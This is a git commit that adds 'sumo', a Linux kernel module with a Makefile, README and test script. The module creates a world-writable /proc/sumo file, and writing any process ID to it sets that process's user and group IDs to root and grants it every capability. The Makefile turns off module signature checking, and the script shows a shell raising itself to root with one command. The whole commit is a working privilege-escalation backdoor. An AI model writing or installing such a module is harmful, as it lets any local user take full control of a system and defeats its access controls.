This commit is contained in:
Andriy Petrov 2024-04-25 21:51:18 +02:00
parent cfeabf075d
commit b61bf36c55
4 changed files with 242 additions and 2 deletions

9
Makefile Normal file
View File

@ -0,0 +1,9 @@
# FIX: module verification failed: signature and/or required key missing - tainting kernel
CONFIG_MODULE_SIG=n
obj-m += sumo.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

View File

@ -1,3 +1,34 @@
# sumo Sumo is a Linux Kernel module that grants root access credentials to any user-space process by PID.
Sumo is a Linux Kernel module that grants root access credentials to any user-space process by PID. # TL;DR
*.bashrc*
```bash
make # build
sudo insmod sumo.ko # install
./whoami # test
```
# How it works
In it's `init()` function, *sumo* kernel module creates `/proc/sumo` file and waits for PID to be written. Afterwards, it fetches instance of a `task_struct` [kernel structure](https://medium.com/@boutnaru/linux-kernel-task-struct-829f51d97275) associated with the given PID and modifies its values accordingly.
```text
sumo __ SUdo
,;.'--'. MOdule
/"/=,=(
\( __/
___/ (____
.' - - '.
/ v \
__/ , | \ '-/'_
{z, ,__/__,__/\__,_ )__( z}
\>' ( \_ `--c/
_.-'\_ , / \_
( `.______.' '.
\ , \ ( __ )
\ )-'-\__/-' | /
| | / .'
/ ,) ( \_
oooO' '--Ooo
```

194
sumo.c Normal file
View File

@ -0,0 +1,194 @@
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/seq_file.h>
#include <linux/sched.h>
#include <linux/capability.h>
#include <linux/cred.h>
#define SUMO \
R"(sumo: __ SUdo )""\n"\
R"( ,;.'--'. MOdule )""\n"\
R"( /'/=,=( )""\n"\
R"( \( __/ )""\n"\
R"( ___/ (____ )""\n"\
R"( .' - - '. )""\n"\
R"( / v \ )""\n"\
R"( __/ , | \ '-/'_ )""\n"\
R"( {z, ,__/__,__/\__,_ )__( z} )""\n"\
R"( \>' ( \_ `--c/ )""\n"\
R"( _.-'\_ , / \_ )""\n"\
R"( ( `.______.' '. )""\n"\
R"( \ , \ ( __ ) )""\n"\
R"( \ )-'-\__/-' | / )""\n"\
R"( | | / .' )""\n"\
R"( / ,) ( \_ )""\n"\
R"( oooO' '--Ooo )""\n"
#define MTAG "sumo: "
MODULE_LICENSE("GPL");
MODULE_AUTHOR("djmil");
MODULE_DESCRIPTION("Grant root access right to the process by PID");
//MODULE_INFO(intree, "Y");
///////////////////////////////////////////////////////////////////////////////
void set_task_uids_gids_to_zero(struct task_struct *task)
{
struct cred *_cred;
//struct real_cred *_real_cred;
// Safely access cred and real_cred using rcu_dereference
_cred = (struct cred *)rcu_dereference(task->cred);
//_real_cred = (struct cred *)rcu_dereference(task->real_cred);
if (_cred == NULL) {
pr_err(MTAG "Task creds are null %d\n", task->pid);
return;
}
// Update UIDs to zero
_cred->uid.val = 0;
_cred->euid.val = 0;
_cred->fsuid.val = 0;
// Update GIDs to zero
_cred->gid.val = 0;
_cred->egid.val = 0;
_cred->fsgid.val = 0;
pr_debug(MTAG "PID %d: all UIDs and GIDs set to zero\n", task->pid);
}
void change_process_capabilities(struct task_struct *task)
{
struct cred *_cred;
// Acquire a new set of credentials
_cred = (struct cred *)rcu_dereference(task->cred);
// Add ptrace+other capabilities
_cred->cap_inheritable.cap[0] = 0xffffffff;
_cred->cap_inheritable.cap[1] = 0xffffffff;
_cred->cap_permitted.cap[0] = 0xffffffff;
_cred->cap_permitted.cap[1] = 0xffffffff;
_cred->cap_effective.cap[0] = 0xffffffff;
_cred->cap_effective.cap[1] = 0xffffffff;
_cred->cap_bset.cap[0] = 0xffffffff;
_cred->cap_bset.cap[1] = 0xffffffff;
_cred->cap_ambient.cap[0] = 0xffffffff;
_cred->cap_ambient.cap[1] = 0xffffffff;
pr_debug(MTAG "PID %d: capabilities changed\n", task->pid);
}
ssize_t proc_pid_write(struct file *file, const char __user *buffer,
size_t count, loff_t *ppos)
{
unsigned long long pid;
struct pid *pid_struct = 0;
struct task_struct *task;
int ret = 0;
// Read the target PID from the user buffer
if (count < 0) {
pr_err(MTAG "read failed. size %lu\n", count);
return -1;
}
*ppos = count;
ret = kstrtoull_from_user(buffer, count, 10, &pid);
if (ret) {
pr_err(MTAG "read PID failed %d\n", ret);
return count;
}
pr_info(MTAG "Got PID %llu\n", pid);
*ppos = count;
pid_struct = find_get_pid(pid);
if (pid_struct == NULL) {
pr_err(MTAG "find_get_pid() failed\n");
return count;
}
// Find the task_struct corresponding to the given PID
task = pid_task(pid_struct, PIDTYPE_PID);
if (task == NULL) {
pr_err(MTAG "Could not find process with PID %llu\n", pid);
return count;
}
if (task->cred == NULL /*|| task->real_cred*/) {
pr_err(MTAG "task->cred == NULL\n");
return count;
}
{
rcu_read_lock();
set_task_uids_gids_to_zero(task);
change_process_capabilities(task);
rcu_read_unlock();
}
return count;
}
///////////////////////////////////////////////////////////////////////////////
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0)
static struct proc_ops proc_fops = {
//.proc_read = porc_pid_read,
.proc_write = proc_pid_write,
};
#else
static struct file_operations proc_fops = {
.owner = THIS_MODULE,
//.read = proc_pid_read,
.write = proc_pid_write,
};
#endif
static struct proc_dir_entry *ent = NULL;
int sumo_init(void)
{
pr_info(SUMO);
// Create `/proc/sumo` file
ent = proc_create("sumo", 0666, NULL, &proc_fops);
if (ent)
pr_info(MTAG "Created /proc/sumo\n");
else
pr_err(MTAG "Unable to created /proc/sumo\n");
return 0;
}
void sumo_exit(void)
{
if (ent)
proc_remove(ent);
}
module_init(sumo_init);
module_exit(sumo_exit);

6
whoami.sh Executable file
View File

@ -0,0 +1,6 @@
#!/usr/bin/env bash
set -euxo pipefail
echo $$ > /proc/sumo # $$ shows PID of the (self) process
whoami